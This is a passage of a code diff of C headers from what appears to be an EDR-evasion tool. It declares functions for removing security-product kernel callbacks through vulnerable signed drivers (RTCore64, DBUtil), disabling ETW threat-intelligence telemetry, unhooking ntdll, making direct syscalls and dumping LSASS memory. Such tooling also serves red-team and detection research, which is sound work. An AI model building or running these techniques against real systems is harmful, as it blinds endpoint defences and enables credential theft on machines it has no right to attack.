} addresses;
DWORD64 callback_func;
BOOL removed;
};
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
struct KRNL_CALLBACK EDR_CALLBACKS[256];
};
TCHAR const* EDR_DRIVERS[];
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
/*
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
*/
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+36 -48
View File
@@ -9,61 +9,49 @@
#include <Windows.h>
#define RTCore 0
#define DBUtil 1
#define VULN_DRIVER RTCore
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define GetDriverHandle GetDriverHandle_RTCore
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define GetDriverHandle GetDriverHandle_DBUtil
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
BYTE ReadMemoryBYTE(DWORD64 Address);
WORD ReadMemoryWORD(DWORD64 Address);
DWORD ReadMemoryDWORD(DWORD64 Address);
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
WORD ReadKernelMemoryWORD(DWORD64 Offset);
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
void WriteMemoryWORD(DWORD64 Address, WORD Value);
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
VOID CloseDriverHandle();
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
HANDLE GetDriverHandle();
DWORD64 GetFunctionAddress(LPCSTR function);
BOOL TestReadPrimitive();
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function);
-12
View File
@@ -1,12 +0,0 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
DWORD WINAPI dumpLSASSProcess(void* data);
+7
View File
@@ -0,0 +1,7 @@
#include <Windows.h>
typedef struct _LINKED_LIST {
struct _LINKED_LIST* next;
} LINKED_LIST, * PLINKED_LIST;
VOID freeLinkedList(PVOID head);
+35 -12
View File
@@ -11,13 +11,16 @@
enum NtoskrnlOffsetType {
CREATE_PROCESS_ROUTINE = 0,
CREATE_THREAD_ROUTINE = 1,
LOAD_IMAGE_ROUTINE = 2,
PROTECTION_LEVEL = 3,
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
ETW_REG_ENTRY_GUIDENTRY = 5,
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
CREATE_PROCESS_ROUTINE,
CREATE_THREAD_ROUTINE,
LOAD_IMAGE_ROUTINE,
PROTECTION_LEVEL,
ETW_THREAT_INT_PROV_REG_HANDLE,
ETW_REG_ENTRY_GUIDENTRY,
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
PSPROCESSTYPE,
PSTHREADTYPE,
OBJECT_TYPE_CALLBACKLIST,
_SUPPORTED_NTOSKRNL_OFFSETS_END
};
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
DWORD64 pspCreateThreadNotifyRoutine;
// ntoskrnl's PspLoadImageNotifyRoutine
DWORD64 pspLoadImageNotifyRoutine;
// ntoskrnl EPROCESS's _PS_PROTECTION
DWORD64 ps_protection;
// ntoskrnl EPROCESS's Protection field offset
DWORD64 eprocess_protection;
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
DWORD64 etwThreatIntProvRegHandle;
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
DWORD64 etwRegEntry_GuidEntry;
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
DWORD64 etwGuidEntry_ProviderEnableInfo;
// ntoskrnl PsProcessType symbol offset
DWORD64 psProcessType;
// ntoskrnl PsThreadType symbol offset
DWORD64 psThreadType;
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
DWORD64 object_type_callbacklist;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
};
union NtoskrnlOffsets ntoskrnlOffsets;
union NtoskrnlOffsets g_ntoskrnlOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
// Saves the offsets, stored in global variable, in the provided CSV file
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
// Print the Ntosknrl offsets.
void PrintNtoskrnlOffsets();
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
BOOL NtoskrnlOffsetsAreAllPresent();
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
BOOL NtoskrnlEtwtiOffsetsArePresent();
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
DECLARE_OFFSET(_OBJECT_TYPE, Name);
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
DECLARE_SYMBOL(ObpObjectTypes);
DECLARE_SYMBOL(ObpTypeObjectType);
//callback support strategy
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
//undoc struct strategy
void EnumAllObjectsCallbacks();
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
//full black box strategy
SIZE_T CountProcessAndThreadObjectsCallbacks();
void RemoveAllProcessAndThreadObjectsCallbacks();
void RestoreAllProcessAndThreadObjectsCallbacks();
+14 -2
View File
@@ -1,9 +1,10 @@
#pragma once
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#include <Windows.h>
typedef unsigned __int64 QWORD;
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
WORD Type : 4;
} PE_relocation;
typedef struct PE_codeview_debug_info_t {
DWORD signature;
GUID guid;
DWORD age;
CHAR pdbName[1];
} PE_codeview_debug_info;
typedef struct PE_pointers {
BOOL isMemoryMapped;
BOOL isInAnotherAddressSpace;
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
//relocations info
DWORD nbRelocations;
PE_relocation* relocations;
//debug info
IMAGE_DEBUG_DIRECTORY* debugDirectory;
PE_codeview_debug_info* codeviewDebugInfo;
} PE;
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
@@ -47,4 +58,5 @@ PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
VOID PE_parseRelocations(PE* pe);
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
VOID PE_destroy(PE* pe);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
typedef struct symbol_ctx_t {
LPWSTR pdb_name_w;
DWORD64 pdb_base_addr;
HANDLE sym_handle;
} symbol_ctx;
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
+16
View File
@@ -0,0 +1,16 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
DWORD WINAPI dumpProcessFromThread(PVOID* args);
@@ -0,0 +1,29 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
enum ProcessorArchitecture {
AMD64 = 9,
INTEL = 0,
};
#if _WIN64
#define PROCESSOR_ARCHITECTURE AMD64
#define SIZE_OF_SYSTEM_INFO_STREAM 48
#else
#define PROCESSOR_ARCHITECTURE INTEL
#define SIZE_OF_SYSTEM_INFO_STREAM 56
#endif
typedef struct _DUMP_CONTEXT {
HANDLE hProcess;
PVOID BaseAddress;
ULONG32 RVA;
SIZE_T DumpMaxSize;
ULONG32 Signature;
USHORT Version;
USHORT ImplementationVersion;
} DUMP_CONTEXT, * PDUMP_CONTEXT;
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
+34
View File
@@ -0,0 +1,34 @@
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "Undoc.h"
typedef struct _MODULE_INFO {
struct _MODULE_INFO* next;
ULONG64 dllBase;
ULONG32 ImageSize;
WCHAR dllName[256];
ULONG32 nameRVA;
ULONG32 timeDateStamp;
ULONG32 checkSum;
} MODULE_INFO, * PMODULE_INFO;
typedef struct _MEMORY_PAGE_INFO {
struct _MEMORY_PAGE_INFO* next;
ULONG64 startOfMemoryPage;
ULONG64 dataSize;
DWORD state;
DWORD protect;
DWORD type;
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
// Return a module info list of loaded moduler in InMemoryOrder.
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
+1 -7
View File
@@ -10,15 +10,9 @@
#include <Windows.h>
//extern union NtoskrnlOffsets ntoskrnlOffsets;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define PROTECTED_PROCESS_MASK 0x00000800
/*
* Defines the NtQuerySystemInformation function.
@@ -80,4 +74,4 @@ typedef enum _PS_PROTECTED_SIGNER {
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
+121
View File
@@ -0,0 +1,121 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
#include "Undoc.h"
#define SW2_SEED 0xE14B0D06
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD RVA;
DWORD SyscallNumber;
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList(void);
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
EXTERN_C NTSTATUS NtGetNextProcess(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Flags,
OUT PHANDLE NewProcessHandle);
EXTERN_C NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
EXTERN_C NTSTATUS NtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN SIZE_T MemoryInformationLength,
OUT PSIZE_T ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress OPTIONAL,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
EXTERN_C NTSTATUS NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength);
EXTERN_C NTSTATUS NtWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
#endif
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <windows.h>
#include "winerror.h"
#include <wincrypt.h>
#include <wintrust.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "crypt32.lib")
typedef
enum _SignatureOpsError {
E_FILE_NOT_FOUND = -2,
E_KO = -1,
E_SUCCESS = 0,
E_INSUFFICIENT_BUFFER = 1,
E_NOT_SIGNED = 2
} SignatureOpsError;
//typedef enum _signatureOpsError signatureOpsError;
/*
* Retrieves a string containing the Signers of the specificied file concatenated.
* Parameters:
* [in] pFilePath: path the file.
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
*/
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Undoc.h"
#include "time.h"
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
TCHAR* generateRandomString(TCHAR* str, size_t size);
TCHAR* allocAndGenerateRandomString(size_t length);
@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "SW2_Syscalls.h"
#define ProcessImageFileName 27
DWORD SandGetProcessPID(HANDLE hProcess);
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
+4
View File
@@ -0,0 +1,4 @@
#pragma once
#include <Windows.h>
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
+116 -10
View File
@@ -148,6 +148,7 @@
#ifdef _MSC_VER
//when compiling as C
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
typedef struct _CLIENT_ID
{
DWORD ProcessId;
DWORD ThreadId;
} CLIENT_ID;
HANDLE ProcessId;
HANDLE ThreadId;
} CLIENT_ID, * PCLIENT_ID;
//typedef struct _CLIENT_ID
//{
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
//} CLIENT_ID, * PCLIENT_ID;
/*
typedef struct _PROCESSOR_NUMBER
@@ -293,16 +300,15 @@ typedef struct _STRING
{
WORD Length;
WORD MaximumLength;
CHAR* Buffer;
CHAR* Buffer;
} STRING;
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximumLength;
WCHAR* Buffer;
} UNICODE_STRING;
WCHAR* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
//
// Exception-specific structures and definitions
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
LIST_ENTRY InMemoryOrderModuleList; //0x14
LIST_ENTRY InInitializationOrderModuleList; //0x1C
void* EntryInProgress; //0x24
} PEB_LDR_DATA;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
struct PEB_FREE_BLOCK
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
UNICODE_STRING ShellInfo; //0x80
UNICODE_STRING RuntimeData; //0x88
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
} RTL_USER_PROCESS_PARAMETERS;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
//
// PEB (Process Environment Block) 32-bit
@@ -728,7 +734,7 @@ typedef struct _PEB
} dword254;
void* WaitOnAddressHashTable[128]; //0x025C
} PEB;
} PEB, * PPEB;
//
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_FOR_RECOVERY 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OVERWRITE_IF 0x00000005
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryBasicInformation,
MemoryWorkingSetInformation,
MemoryMappedFilenameInformation,
MemoryRegionInformation,
MemoryWorkingSetExInformation,
MemorySharedCommitInformation,
MemoryImageInformation,
MemoryRegionInformationEx,
MemoryPrivilegedBasicInformation,
MemoryEnclaveImageInformation,
MemoryBasicInformationCapped
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_SUCCES 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_PARTIAL_COPY 0x8000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
#define STATUS_SHARING_VIOLATION 0xC0000043
#define STATUS_NO_MORE_ENTRIES 0x8000001A
#define STATUS_INVALID_CID 0xC000000B
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
#define STATUS_ALERTED 0x00000101
#include "undoc_64.h"
+3 -4
View File
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
} u;
QWORD dummyalign;
} uOrDummyAlign;
QWORD Buffer;
} UNICODE_STRING64;
WCHAR* Buffer;
} UNICODE_STRING64, * PUNICODE_STRING64;
typedef struct _CLIENT_ID64
{
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
QWORD ThreadId;
} CLIENT_ID64;
//NOTE: the members of this structure are not yet complete
typedef struct _RTL_USER_PROCESS_PARAMETERS64
{
@@ -215,7 +214,7 @@ typedef struct PEB64
QWORD SystemAssemblyStorageMap; //0x0310
QWORD MinimumStackCommit; //0x0318
} PEB64; //struct PEB64
} PEB64, * PPEB64; //struct PEB64
//
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
+41 -32
View File
@@ -1,52 +1,61 @@
#pragma once
#include "PEParser.h"
typedef struct diff_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} diff;
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
typedef struct hook_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
diff* list_patches;
} hook;
typedef struct PATCH_DIFF_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} PATCH_DIFF;
typedef struct HOOK_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
PATCH_DIFF* list_patches;
} HOOK;
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
OUT LPOSVERSIONINFOEXW lpVersionInformation);
OUT LPOSVERSIONINFOEXW lpVersionInformation);
enum unhook_method_e {
UNHOOK_NONE,
typedef enum UNHOOK_METHOD_e {
UNHOOK_NONE,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
